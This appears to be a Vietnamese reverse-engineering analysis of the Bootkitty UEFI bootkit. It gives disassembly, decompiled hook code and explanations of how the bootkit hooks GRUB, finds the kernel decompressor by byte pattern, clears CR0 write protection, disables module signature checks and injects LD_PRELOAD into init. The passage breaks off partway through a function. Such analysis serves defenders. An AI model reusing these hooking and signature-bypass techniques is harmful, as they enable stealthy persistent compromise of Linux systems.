((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_6->OutputString)(console_out_6, buffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( next_instruction_ptr != target_address )
memmove_1800064F0(next_instruction_ptr, target_address, 8ui64);
if ( cr0_wp_enabled )
{
cr0_value_4 = _readcr0_();
writecr0_180001010(cr0_value_4 | 0x10000);
}
gBS->RestoreTPL(saved_tpl); // gBS->RestoreTPL()
// VOID(EFIAPI * EFI_RESTORE_TPL) (IN EFI_TPL OldTpl)
// OldTpl Mức độ ưu tiên tác vụ trước đó cần khôi phục.
return 0i64;
}
do_start_image (hàm mục tiêu)
Mã assembly
.text:0000000000000286 do_start_image_286 proc near ; CODE XREF: sub_46E+4D↓p
.text:0000000000000286 ; DATA XREF: sub_46E:loc_4B1↓o
.text:0000000000000286 F3 0F 1E FA endbr64
.text:000000000000028A 55 push rbp
.text:000000000000028B 48 89 E5 mov rbp, rsp
.text:000000000000028E 41 57 push r15
.text:0000000000000290 41 56 push r14
.text:0000000000000292 41 55 push r13
.text:0000000000000294 41 54 push r12
.text:0000000000000296 53 push rbx
.text:0000000000000297 57 push rdi
.text:0000000000000298 48 A1 D0 10 00 00 00 00 00 00 mov rax, ds:grub_efi_image_handle
.text:00000000000002A2 48 A3 80 10 00 00 00 00 00 00 mov ds:qword_1080, rax
.text:00000000000002AC 48 89 C7 mov rdi, rax
.text:00000000000002AF 48 B8 C0 10 00 00 00 00 00 00 mov rax, offset grub_efi_get_loaded_image
.text:00000000000002B9 FF D0 call rax ; grub_efi_get_loaded_image
.text:00000000000002BB 48 85 C0 test rax, rax
.text:00000000000002BE 74 48 jz short loc_308
.text:00000000000002C0 48 BA C0 0F 00 00 00 00 00 00 mov rdx, offset unk_FC0
.text:00000000000002CA 48 8B 4A 58 mov rcx, [rdx+58h]
.text:00000000000002CE 8B 72 3C mov esi, [rdx+3Ch]
.text:00000000000002D1 48 8B 52 10 mov rdx, [rdx+10h]
.text:00000000000002D5 48 89 48 40 mov [rax+40h], rcx
.text:00000000000002D9 48 89 70 48 mov [rax+48h], rsi
.text:00000000000002DD 48 85 D2 test rdx, rdx
.text:00000000000002E0 75 15 jnz short loc_2F7
.text:00000000000002E2
.text:00000000000002E2 loc_2E2: ; CODE XREF: do_start_image_286+6C↓j
.text:00000000000002E2 31 F6 xor esi, esi
.text:00000000000002E4 48 89 70 20 mov [rax+20h], rsi
.text:00000000000002E8 EB 50 jmp short loc_33A
.text:00000000000002EA ; ---------------------------------------------------------------------------
.text:00000000000002EA
.text:00000000000002EA loc_2EA: ; CODE XREF: do_start_image_286+74↓j
.text:00000000000002EA ; do_start_image_286+7A↓j
.text:00000000000002EA 0F B7 4A 02 movzx ecx, word ptr [rdx+2]
.text:00000000000002EE 66 83 F9 03 cmp cx, 3
.text:00000000000002F2 76 EE jbe short loc_2E2
.text:00000000000002F4 48 01 CA add rdx, rcx
.text:00000000000002F7
.text:00000000000002F7 loc_2F7: ; CODE XREF: do_start_image_286+5A↑j
.text:00000000000002F7 80 3A 04 cmp byte ptr [rdx], 4
.text:00000000000002FA 75 EE jnz short loc_2EA
.text:00000000000002FC 80 7A 01 04 cmp byte ptr [rdx+1], 4
.text:0000000000000300 75 E8 jnz short loc_2EA
.text:0000000000000302 48 89 50 20 mov [rax+20h], rdx
.text:0000000000000306 EB 32 jmp short loc_33A
.text:0000000000000308 ; ---------------------------------------------------------------------------
.text:0000000000000308
.text:0000000000000308 loc_308: ; CODE XREF: do_start_image_286+38↑j
.text:0000000000000308 48 B9 E7 0D 00 00 00 00 00 00 mov rcx, offset aLoadedImagePro ; "Loaded image protocol missing\n"
.text:0000000000000312 BE C0 02 00 00 mov esi, 2C0h
.text:0000000000000317 31 C0 xor eax, eax
.text:0000000000000319 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:0000000000000323 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:000000000000032D 49 B8 E0 10 00 00 00 00 00 00 mov r8, offset grub_real_dprintf
.text:0000000000000337 41 FF D0 call r8 ; grub_real_dprintf
.text:000000000000033A
.text:000000000000033A loc_33A: ; CODE XREF: do_start_image_286+62↑j
.text:000000000000033A ; do_start_image_286+80↑j
.text:000000000000033A 48 BF 40 10 00 00 00 00 00 00 mov rdi, offset unk_1040
.text:0000000000000344 48 B8 30 11 00 00 00 00 00 00 mov rax, offset grub_setjmp
.text:000000000000034E FF D0 call rax ; grub_setjmp
.text:0000000000000350 F3 0F 1E FA endbr64
.text:0000000000000354 85 C0 test eax, eax
.text:0000000000000356 74 31 jz short loc_389
.text:0000000000000358 48 BB 40 10 00 00 00 00 00 00 mov rbx, offset unk_1040
.text:0000000000000362 48 83 EC 20 sub rsp, 20h
.text:0000000000000366 48 B8 3E 00 00 00 00 00 00 00 mov rax, offset sub_3E
.text:0000000000000370 48 8B 4B 40 mov rcx, [rbx+40h]
.text:0000000000000374 FF D0 call rax ; sub_3E
.text:0000000000000376 31 C9 xor ecx, ecx
.text:0000000000000378 48 8B 43 48 mov rax, [rbx+48h]
.text:000000000000037C 48 83 C4 20 add rsp, 20h
.text:0000000000000380 48 89 4B 40 mov [rbx+40h], rcx
.text:0000000000000384 E9 D6 00 00 00 jmp loc_45F
.text:0000000000000389 ; ---------------------------------------------------------------------------
.text:0000000000000389
.text:0000000000000389 loc_389: ; CODE XREF: do_start_image_286+D0↑j
.text:0000000000000389 49 BE A8 10 00 00 00 00 00 00 mov r14, offset grub_efi_system_table
.text:0000000000000393 BE CE 02 00 00 mov esi, 2CEh
.text:0000000000000398 48 BB C0 0F 00 00 00 00 00 00 mov rbx, offset unk_FC0
.text:00000000000003A2 49 BC 40 10 00 00 00 00 00 00 mov r12, offset unk_1040
.text:00000000000003AC 49 BD F2 00 00 00 00 00 00 00 mov r13, offset sub_F2
.text:00000000000003B6 49 8B 06 mov rax, [r14]
.text:00000000000003B9 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:00000000000003C3 48 B9 06 0E 00 00 00 00 00 00 mov rcx, offset aExecutingImage ; "Executing image loaded at 0x%lx\nEntry "...
.text:00000000000003CD 49 BF E0 10 00 00 00 00 00 00 mov r15, offset grub_real_dprintf
.text:00000000000003D7 48 8B 40 60 mov rax, [rax+60h]
.text:00000000000003DB 48 8B 90 D8 00 00 00 mov rdx, [rax+0D8h]
.text:00000000000003E2 4C 89 A8 D8 00 00 00 mov [rax+0D8h], r13
.text:00000000000003E9 49 89 54 24 50 mov [r12+50h], rdx
.text:00000000000003EE 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:00000000000003F8 50 push rax
.text:00000000000003F9 8B 43 3C mov eax, [rbx+3Ch]
.text:00000000000003FC 4C 8B 4B 60 mov r9, [rbx+60h]
.text:0000000000000400 4C 8B 43 58 mov r8, [rbx+58h]
.text:0000000000000404 50 push rax
.text:0000000000000405 31 C0 xor eax, eax
.text:0000000000000407 41 FF D7 call r15 ; grub_real_dprintf
.text:000000000000040A 52 push rdx
.text:000000000000040B 52 push rdx
.text:000000000000040C 49 8B 4C 24 40 mov rcx, [r12+40h]
.text:0000000000000411 49 8B 16 mov rdx, [r14]
.text:0000000000000414 FF 53 60 call qword ptr [rbx+60h]
.text:0000000000000417 BE D9 02 00 00 mov esi, 2D9h
.text:000000000000041C 48 B9 45 0E 00 00 00 00 00 00 mov rcx, offset aApplicationRet ; "Application returned\n"
.text:0000000000000426 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:0000000000000430 48 83 C4 20 add rsp, 20h
.text:0000000000000434 48 89 C3 mov rbx, rax
.text:0000000000000437 31 C0 xor eax, eax
.text:0000000000000439 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:0000000000000443 41 FF D7 call r15 ; grub_real_dprintf
.text:0000000000000446 48 83 EC 20 sub rsp, 20h
.text:000000000000044A 49 8B 4C 24 40 mov rcx, [r12+40h]
.text:000000000000044F 45 31 C9 xor r9d, r9d
.text:0000000000000452 45 31 C0 xor r8d, r8d
.text:0000000000000455 48 89 DA mov rdx, rbx
.text:0000000000000458 41 FF D5 call r13 ; sub_F2
.text:000000000000045B 48 83 C4 20 add rsp, 20h
.text:000000000000045F
.text:000000000000045F loc_45F: ; CODE XREF: do_start_image_286+FE↑j
.text:000000000000045F 48 8D 65 D8 lea rsp, [rbp-28h]
.text:0000000000000463 5B pop rbx
.text:0000000000000464 41 5C pop r12
.text:0000000000000466 41 5D pop r13
.text:0000000000000468 41 5E pop r14
.text:000000000000046A 41 5F pop r15
.text:000000000000046C 5D pop rbp
.text:000000000000046D C3 retn
.text:000000000000046D do_start_image_286 endp
Phiên dịch ngược
__int64 do_start_image_286()
{
_QWORD *loaded_image; // rax
__int64 v1; // rsi
__int64 v2; // rdx
__int64 v3; // rcx
__int64 v4; // rdx
__int64 result; // rax
__int64 v6; // rax
__int64 v7; // rdx
__int64 v8; // rbx
__endbr64();
qword_1080 = grub_efi_image_handle;
loaded_image = (_QWORD *)grub_efi_get_loaded_image(grub_efi_image_handle);
if ( loaded_image )
{
v1 = *((unsigned int *)&unk_FC0 + 0xF);
v2 = *((_QWORD *)&unk_FC0 + 2);
loaded_image[8] = *((_QWORD *)&unk_FC0 + 0xB);
loaded_image[9] = v1;
if ( v2 )
{
while ( *(_BYTE *)v2 != 4 || *(_BYTE *)(v2 + 1) != 4 )
{
v3 = *(unsigned __int16 *)(v2 + 2);
if ( (unsigned __int16)v3 <= 3u )
goto LABEL_3;
v2 += v3;
}
loaded_image[4] = v2;
}
else
{
LABEL_3:
v1 = 0LL;
loaded_image[4] = 0LL;
}
}
else
{
v1 = 0x2C0LL;
grub_real_dprintf("loader/efi/peimage.c", 0x2C0LL, "linux", "Loaded image protocol missing\n");
}
__endbr64();
if ( (unsigned int)grub_setjmp(&unk_1040) )
{
sub_3E(&unk_1040, v1, v4, *((_QWORD *)&unk_1040 + 8));
result = *((_QWORD *)&unk_1040 + 9);
*((_QWORD *)&unk_1040 + 8) = 0LL;
}
else
{
v6 = *(_QWORD *)(grub_efi_system_table + 0x60LL);
v7 = *(_QWORD *)(v6 + 0xD8);
*(_QWORD *)(v6 + 0xD8) = sub_F2;
*((_QWORD *)&unk_1040 + 0xA) = v7;
grub_real_dprintf(
"loader/efi/peimage.c",
0x2CELL,
"linux",
"Executing image loaded at 0x%lx\nEntry point 0x%lx\nSize 0x%08x\n",
*((_QWORD *)&unk_FC0 + 0xB),
*((_QWORD *)&unk_FC0 + 0xC),
*((unsigned int *)&unk_FC0 + 0xF));
v8 = (*((__int64 (__fastcall **)(const char *, __int64, _QWORD, _QWORD))&unk_FC0 + 0xC))(
"loader/efi/peimage.c",
0x2CELL,
grub_efi_system_table,
*((_QWORD *)&unk_1040 + 8));
grub_real_dprintf("loader/efi/peimage.c", 0x2D9LL, "linux", "Application returned\n");
return sub_F2("loader/efi/peimage.c", 0x2D9LL, v8, *((_QWORD *)&unk_1040 + 8), 0LL, 0LL);
}
return result;
}
Mã nguồn gốc
static grub_efi_status_t __grub_efi_api
do_start_image (grub_efi_handle_t image_handle,
grub_efi_uintn_t *exit_data_size __attribute__ ((unused)),
grub_efi_char16_t **exit_data __attribute__ ((unused)))
{
grub_efi_status_t status;
struct image_info *info;
info = grub_efi_open_protocol (image_handle,
&(grub_guid_t)GRUB_PEIMAGE_MARKER_GUID,
GRUB_EFI_OPEN_PROTOCOL_GET_PROTOCOL);
if (!info)
{
grub_error (GRUB_ERR_BAD_OS, "image not loaded");
return GRUB_EFI_LOAD_ERROR;
}
if (grub_setjmp (info->jmp))
{
status = info->exit_status;
do_unload_image (image_handle);
}
else
{
grub_dprintf ("linux",
"Executing image loaded at 0x%lx\n"
"Entry point 0x%lx\n"
"Size 0x%lx\n",
(unsigned long)info->loaded_image.image_base,
(unsigned long)info->entry_point,
(unsigned long)info->loaded_image.image_size);
/* Invalidate the instruction cache */
grub_arch_sync_caches (info->loaded_image.image_base,
info->loaded_image.image_size);
status = info->entry_point (image_handle, grub_efi_system_table);
grub_dprintf ("linux", "Application returned\n");
/* converge to the same exit path as if the image called
* boot_services->exit itself */
exit_hook (image_handle, status, 0, NULL);
/* image_handle is always valid above, thus exit_hook cannot
* return to here. if only GRUB had assert :(
grub_assert (false && "entered unreachable code");
*/
}
return status;
}
hook_grub_f1__do_start_image_18000DE20 (hàm hook cho do_start_image)
Khi do_start_image được gọi và thực thi đến đoạn:
// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h] // mods:0000000000110A61 49 8B 16 mov rdx, [r14]
inlinehook chuyển thành mov rax,xxx_hook_func; jmp rax
Chuyển hướng đến hook_grub_f1__do_start_image_18000DE20, nhận được địa chỉ cơ sở và kích thước của vmlinuz, sau đó tiến hành hook kernel (hook_and_patch_kernel_18000F5C0)
// RDI, RSI, RDX, RCX, R8, R9
__int64 __usercall hook_grub_f1__do_start_image_18000DE20@<rax>(
__int64 image_handle@<rdi>,
__int64 param_2@<rsi>,
__int64 param_3@<rdx>)
{
double float_param; // xmm3_8
char *function_ptr; // rcx
void *base_addr; // rdi
void *param_2_copy; // rdx
void *param_3_copy; // r8
void *param_4_copy; // r9
int size_param; // ebx
void *param_2_copy_2; // rdx
void *param_3_copy_2; // r8
void *param_4_copy_2; // r9
__int64 param_5_copy; // r8
// .text:000000000000040C 49 8B 4C 24 40 mov rcx, [r12+40h]
// .text:0000000000000411 49 8B 16 mov rdx, [r14]
// .text:0000000000000414 FF 53 60 call qword ptr [rbx+60h]
function_ptr = original_grub_f1_180018268;
*(_QWORD *)original_grub_f1_180018268 = *(_QWORD *)backup_original_grub_f1_180018280;
function_ptr[8] = backup_original_grub_f1_180018280[8];
function_ptr[9] = backup_original_grub_f1_180018280[9];
function_ptr[0xA] = backup_original_grub_f1_180018280[0xA];
function_ptr[0xB] = backup_original_grub_f1_180018280[0xB];
// mov rax, [rbx+58h]
// struct image_info *info; image_info+0x58
// info->loaded_image.image_base
base_addr = (void *)(int)extract_image_base_18000C885();
debug_log_18000DF00(base_addr, (void *)param_2, param_2_copy, "", param_3_copy, param_4_copy);
// rbx+8
// struct grub_efi_loaded_image
// {
// grub_efi_uint32_t revision;
// grub_efi_handle_t parent_handle;
// ···
// }
// //grub_efi_loaded_image.parent_handle
size_param = extract_image_size_18000C880();
debug_log_18000DF00(base_addr, (void *)param_2, param_2_copy_2, "", param_3_copy_2, param_4_copy_2);
hook_and_patch_kernel_18000F5C0((char *)base_addr, size_param, param_5_copy, float_param);
return ((__int64 (*)(void))original_grub_f1_180018268)();//thực thi logic gốc
}
hook_and_patch_kernel_18000F5C0 (cài đặt hook cho vmlinuz)
Trong hàm hook của do_start_image, lấy được địa chỉ cơ sở của vmlinuz, sau đó cài đặt hook cho vmlinuz
Mẫu nhị phân mục tiêu
F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF
Xác định vị trí hàm _??decompress_E26CB0 địa chỉ tương ứng với vmlinuz của ubuntu-24.04.1-desktop-amd64
Hook vmlinuz
unsigned __int64 __fastcall hook_and_patch_kernel_18000F5C0(char *image_base, int x_size, __int64 param_3, double param_4)
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]
working_ptr = image_base;
if ( !image_base )
return 0x8000000000000002ui64;
boundary_ptr = &image_base[x_size - 0x3B];
if ( image_base >= boundary_ptr )
return 0x800000000000000Eui64;
// F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF
// .text:0000000000E26CB0 sub_E26CB0 proc near ; CODE XREF: sub_E28420+2B6↓p
// .text:0000000000E26CB0
// .text:0000000000E26CB0 var_28 = qword ptr -28h
// .text:0000000000E26CB0 var_20 = qword ptr -20h
// .text:0000000000E26CB0 var_18 = qword ptr -18h
// .text:0000000000E26CB0 var_10 = qword ptr -10h
// .text:0000000000E26CB0
// .text:0000000000E26CB0 F3 0F 1E FA endbr64
// .text:0000000000E26CB4 53 push rbx
// .text:0000000000E26CB5 48 89 FB mov rbx, rdi
// .text:0000000000E26CB8 48 83 EC 20 sub rsp, 20h
// .text:0000000000E26CBC 8B 87 F0 75 00 00 mov eax, [rdi+75F0h]
// .text:0000000000E26CC2 83 F8 FF cmp eax, 0FFFFFFFFh
// .text:0000000000E26CC5 74 6B jz short loc_E26D32
// .text:0000000000E26CC7 83 F8 01 cmp eax, 1
// .text:0000000000E26CCA 74 5C jz short loc_E26D28
// .text:0000000000E26CCC 48 8B BF D8 75 00 00 mov rdi, [rdi+75D8h]
// .text:0000000000E26CD3 4C 89 44 24 18 mov [rsp+28h+var_10], r8
// .text:0000000000E26CD8 48 89 4C 24 10 mov [rsp+28h+var_18], rcx
// .text:0000000000E26CDD 48 89 54 24 08 mov [rsp+28h+var_20], rdx
// .text:0000000000E26CE2 48 89 34 24 mov [rsp+28h+var_28], rsi
// .text:0000000000E26CE6 E8 95 A6 FF FF call sub_E21380
// .text:0000000000E26CEB 31 C0 xor eax, eax
// .text:0000000000E26CED 48 8B 34 24 mov rsi, [rsp+28h+var_28]
// .text:0000000000E26CF1 48 8B 54 24 08 mov rdx, [rsp+28h+var_20]
// .text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00 mov qword ptr [rbx+75D8h], 0
// .text:0000000000E26CF6 00
// .text:0000000000E26D01 48 8B 4C 24 10 mov rcx, [rsp+28h+var_18]
// .text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00 mov qword ptr [rbx+75E0h], 0
// .text:0000000000E26D06 00
// .text:0000000000E26D11 4C 8B 44 24 18 mov r8, [rsp+28h+var_10]
// .text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00 mov dword ptr [rbx+75F0h], 0
// .text:0000000000E26D20 EB 17 jmp short loc_E26D39
// .text:0000000000E26D20 ; ---------------------------------------------------------------------------
// .text:0000000000E26D22 66 0F 1F 44 00 00 align 8
// .text:0000000000E26D28
// .text:0000000000E26D28 loc_E26D28: ; CODE XREF: sub_E26CB0+1A↑j
// .text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00 mov dword ptr [rdi+75F0h], 0
// .text:0000000000E26D32
// .text:0000000000E26D32 loc_E26D32: ; CODE XREF: sub_E26CB0+15↑j
// .text:0000000000E26D32 48 8B 83 E0 75 00 00 mov rax, [rbx+75E0h]
// .text:0000000000E26D39
// .text:0000000000E26D39 loc_E26D39: ; CODE XREF: sub_E26CB0+70↑j
// .text:0000000000E26D39 50 push rax
// .text:0000000000E26D3A 48 89 DF mov rdi, rbx
// .text:0000000000E26D3D 45 31 C9 xor r9d, r9d
// .text:0000000000E26D40 6A 00 push 0
// .text:0000000000E26D42 E8 A9 F9 FF FF call sub_E266F0
// .text:0000000000E26D47 48 83 C4 30 add rsp, 30h
// .text:0000000000E26D4B 5B pop rbx
// .text:0000000000E26D4C C3 retn
for ( pattern_offset = pattern_1800124A0 - image_base; ; --pattern_offset )
{
match_count = 0;
temp_ptr = working_ptr;
do
{
current_byte = temp_ptr[pattern_offset];
if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
break;
++match_count;
++temp_ptr;
}
while ( match_count < 0x3B );
if ( match_count == 0x3B )
break;
if ( ++working_ptr >= boundary_ptr )
return 0x800000000000000Eui64;
}
local_flags = flags_180018176;
original_func_180018258 = working_ptr;
*(_QWORD *)target_address = hook_vmlinuz_decompress_18000DC80;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)back_original_func_180018290 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output = gST->ConOut;
if ( console_output )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
}
local_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (local_flags & 1) != 0 && ~(unsigned __int64)working_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_2 = gST->ConOut;
if ( console_output_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( back_original_func_180018290 != working_ptr )
memmove_1800064F0(back_original_func_180018290, working_ptr, 0xCui64);
func_ptr = original_func_180018258;
cr0_value = _readcr0_();
wp_bit_enabled = BYTE2(cr0_value) & 1;
if ( (cr0_value & 0x10000) != 0 )
writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
check_flags = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_3,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_3 = gST->ConOut;
if ( console_output_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
}
check_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_4,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_4 = gST->ConOut;
if ( console_output_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( func_ptr != jmp_rax_trampoline_180012520 )
memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( wp_bit_enabled )
{
cr0_value_2 = _readcr0_();
writecr0_180001010(cr0_value_2 | 0x10000);
}
next_instr_ptr = original_func_180018258 + 2;
cr0_value_3 = _readcr0_();
wp_enabled = BYTE2(cr0_value_3) & 1;
if ( (cr0_value_3 & 0x10000) != 0 )
writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_5 = gST->ConOut;
if ( console_output_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
}
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
param_4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_6 = gST->ConOut;
if ( console_output_6 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer_2);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( next_instr_ptr != target_address )
memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
if ( !wp_enabled )
return 0i64;
cr0_value_4 = _readcr0_();
writecr0_180001010(cr0_value_4 | 0x10000);
return 0i64;
}
hook_vmlinuz_decompress_18000DC80 (hàm hook cho vmlinuz)
Thực hiện các thao tác sau:
- Gọi hàm gốc, tức là giải nén kernel hoàn tất; kernel được giải nén và nằm trong bộ nhớ (chưa thực thi)
- Ghi đè phiên bản kernel và linux_banner (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)
Sử dụng văn bản
BoB13để ghi đè phiên bản kernel và linux_banner[]
- Sửa đổi module_sig_check (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)
Hàm module_sig_check được sửa đổi để luôn trả về 0. Hàm này chịu trách nhiệm kiểm tra xem module có chữ ký hợp lệ hay không. Bằng cách sửa đổi hàm để trả về 0, kernel sẽ tải bất kỳ module nào mà không xác minh chữ ký. Trên các hệ thống Linux có bật UEFI Secure Boot, nếu muốn tải module kernel, chúng phải được ký. Khi kernel được xây dựng với CONFIG_MODULE_SIG_FORCE hoặc khi truyền tham số module.sig_enforce=1 như là tham số dòng lệnh kernel
- Sửa đổi biến môi trường đầu tiên của tiến trình init (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)
Tiến trình đầu tiên được thực thi bởi kernel Linux là init từ đường dẫn cố định đầu tiên (bắt đầu từ /init trong initramfs), cùng với các tham số lệnh và biến môi trường. Mã hook sẽ thay thế biến môi trường đầu tiên bằng LD_PRELOAD=/opt/injector.so /init. LD_PRELOAD là một biến môi trường dùng để tải các đối tượng chia sẻ ELF trước các đối tượng chia sẻ khác và có thể được sử dụng để ghi đè các hàm. Đây là kỹ thuật phổ biến được kẻ tấn công sử dụng để tải các tệp nhị phân độc hại. Trong trường hợp này, cả /opt/injector.so và /init ELF shared object sẽ được tải khi tiến trình init khởi động.
void *__fastcall hook_vmlinuz_decompress_18000DC80()
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]
original_function = original_func_180018258;
*(_QWORD *)original_func_180018258 = *(_QWORD *)back_original_func_180018290;
original_function[8] = back_original_func_180018290[8];
original_function[9] = back_original_func_180018290[9];
original_function[0xA] = back_original_func_180018290[0xA];
original_function[0xB] = back_original_func_180018290[0xB];
//0. giải nén kernel
((void (*)(void))original_function)();
// lấy rac
// mov rax, rcx
kernel_ptr = (void *)(int)retrieve_register_c_18000C88A(kernel_param);
debug_log_18000DF00(null_param, kernel_ptr, temp_param_1, "", temp_param_2, temp_param_3);
// lấy [rsp+38h]
// mov rax, [rsp+38h]
stack_param = (unsigned int)retrieve_stack_param_18000C88E();
debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_4, "", temp_param_5, temp_param_6);
second_stack_param = (unsigned int)retrieve_stack_param_2_18000C894();
debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_7, "", temp_param_8, temp_param_9);
global_kernel_base = stack_param | (second_stack_param << 0x20);
retrieve_final_param_18000C89A();
debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_10, "", temp_param_11, temp_param_12);
kernel_base = global_kernel_base;
// 1. ghi đè phiên bản kernel và linux_banner
